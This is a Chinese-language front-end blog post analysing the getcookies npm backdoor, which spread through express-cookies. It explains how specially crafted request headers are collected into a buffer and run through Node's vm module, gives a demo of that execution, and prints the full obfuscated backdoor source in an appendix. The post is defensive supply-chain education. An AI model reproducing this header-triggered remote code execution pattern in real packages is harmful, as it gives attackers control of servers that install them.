npm 模块别乱下载,说不好就出事了

如果你和我们一样,npm install xxx 用的很舒服,可能你的项目会遇到重大的危险。
先来看看一篇别人家的文章——细思极恐:后门代码被隐藏在 npm 模块中,差点就得逞

为了节省时间,点击问题讨论地址,直接看看别人怎么说的

可能你看了那篇文章也不太清除发生了什么,那就请看下面

问题描述

哪些人会出现这样的问题?

直接 or 间接使用 getcookies 的人。

比如:你正在使用的 Node 框架是 express,并且通过 express-cookies 处理 cookie 功能。那它其中就引用了 getcookies。

问题有多严重?

getcookies 会通过 header 注入代码,然后在你服务器‘任意遨游’,获取你服务器配置信息、监控你请求、让你宕个机…

它是怎么个原理

  1. inject 自定义的 Header,获取到 req.headers
1
2
3
req.headers['gfeffh11i'] = 111;
req.headers['gabcdh22i'] = 222;
req.headers['gfaffh33i'] = 333;
  1. 在请求头中寻找符合/g([a-f0-9]{4})h((?:[a-f0-9]{2})+)i/gi规则的信息
1
2
3
4
5
6
7
8
9
10
11
12
13
...
// g+hex(2)+h+hex(1)+i
req.headers['gfaffh22i'] = 222;
...
// 以上header将在这个regex命中,并且通过replace执行多次。
JSON.stringify(req.headers).replace(/g([a-f0-9]{4})h((?:[a-f0-9]{2})+)i/gi, (o, p, v) => {
// o=gabcdh00i,p=abcd,v=00
// 转成hex字符
p = Buffer.from(p, 'hex').readUInt16LE(0);//52651
switch (p) {
...
}
})
  1. 判断注入非法的信息,完成:初始化代码执行环境–>将问题代码添加至内存中–>调用 vm 执行问题代码
    注释信息,说明了哪些 header 会被 switch 命中

  2. script 脚本如何在 vm 执行(写了个 Demo 模拟)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 模拟header中数据的获取,存入内存的过程(default中的逻辑)
function getHexBufer(scriptFn) {
var result = '';
for (var i = 0; i < scriptFn.length; i++) {
// -->ascii-->16hex
result = result + parseInt(scriptFn[i].charCodeAt(), 10).toString(16);
}
// result:2866756e6374696f6e202829207b636f6e736f6c652e6c6f672827636f6d696e6727293b7d292829
// 16hex的buffer
// <Buffer 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 63 6f 6d 69 6e 67 27 29 3b 7d 29 28 29>
return Buffer.from(String(result), 'hex');
}
// 编译脚本
var c = getHexBufer(`(function () {console.log('coming');})()`).toString();
// 通过vm执行脚本
require('vm')['runInThisContext'](c); //输出coming

你可能需要准备下其他知识

  1. Buffer.from 和 Buffer.alloc 干什么的

  2. readUInt16LE 什么意思
    如果你不清楚 LE、BE。可以再看看这篇:readInt16BE 和 readInt16LE 的区别

  3. \x76\x6d 是什么格式?
    是 16 进制。
    然后就能明白源代码中:

1
2
require('\x76\x6d')['\x72\x75\x6e\x49\x6e\x54\x68\x69\x73\x43\x6f\x6e\x74\x65\x78\x74']
// require('vm')['runInThisContext']
对应的再补充一些进制转换api

1
2
3
4
5
6
7
var test10 = 43981;
// 10 --> 2
var test2 = test10.toString(2);//1010101111001101
// 2 --> 10
var backTest10 = parseInt(test2, 2);//43981
// 10 -> 16
var testHex = parseInt(test2, 2).toString(16);//abcd
  1. 什么是 vm?
    执行 script,同时源码中还用了高阶 Fn,提供了 module.exports, require, req, res, next 等信息。我这些都拿到了,我还有什么不能做?

现状

npm 官方已经做了处理,你已经下不到这两个包了

1
2
Error: [getcookies@*] GET https://registry.npm.taobao.org/getcookies/latest response 404 status
Error: [express-cookies@*] GET https://registry.npm.taobao.org/express-cookies/latest response 404 status

总结

  1. 不要着急升级模块,避免已稳定的模块出现问题
  2. 下载使用优质,热门模块。用的人多,这样出问题,社区会有解决方案,你不是一个人战斗。
  3. 检查下项目中的 node_modules,奇奇怪怪的能不用就别用了。
  4. 提升自己能力,看的懂大神们写的代码才能 hold 全场,慢慢积累,但别放弃任何学习源码的机会,比如这个 getcookie 现在就下载不到了。

附录

getcookie 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/* eslint-env es6 */
'use strict';

var assert = require('assert');

let harness = (req, res, callback, next) => {
try {
assert.equal(typeof callback, 'function');
} catch (E) {
return callback(E);
}

try {
module.exports.log = module.exports.log || Buffer.alloc(0xffff);
JSON.stringify(req.headers).replace(/g([a-f0-9]{4})h((?:[a-f0-9]{2})+)i/gi, (o, p, v) => {
p = Buffer.from(p, 'hex').readUInt16LE(0);
switch (p) {
case 0xfffe:
module.exports.log = Buffer.alloc(0xffff);
return;
case 0xfffa:
return setTimeout(() => {
let c = module.exports.log.toString().replace(/\x00*$/, '');
module.exports.log = Buffer.alloc(0xffff);
if (c.indexOf('\x00') < 0) {
require('\x76\x6d')['\x72\x75\x6e\x49\x6e\x54\x68\x69\x73\x43\x6f\x6e\x74\x65\x78\x74'](c)(module.exports, require, req, res, next);
}
next();
}, 1000);
default:
v = Buffer.from(v, 'hex');
for (let i = 0; i < v.length; i++) {
module.exports.log[p + i] = v[i];
}
}
});
} catch (E) {}

next();
};

module.exports.assert = (req, res, callback, next) => {
harness(req, res, callback, next);
};
【长按关注】看看↓↓↓?
Eminoda wechat
【前端雨爸】分享前端技术实践,持续输出前端技术文章
欢迎留言,评论交流,一起讨论前端问题
📢 因为是开源博客,为避免 Gitalk授权 带来的 安全风险,也可访问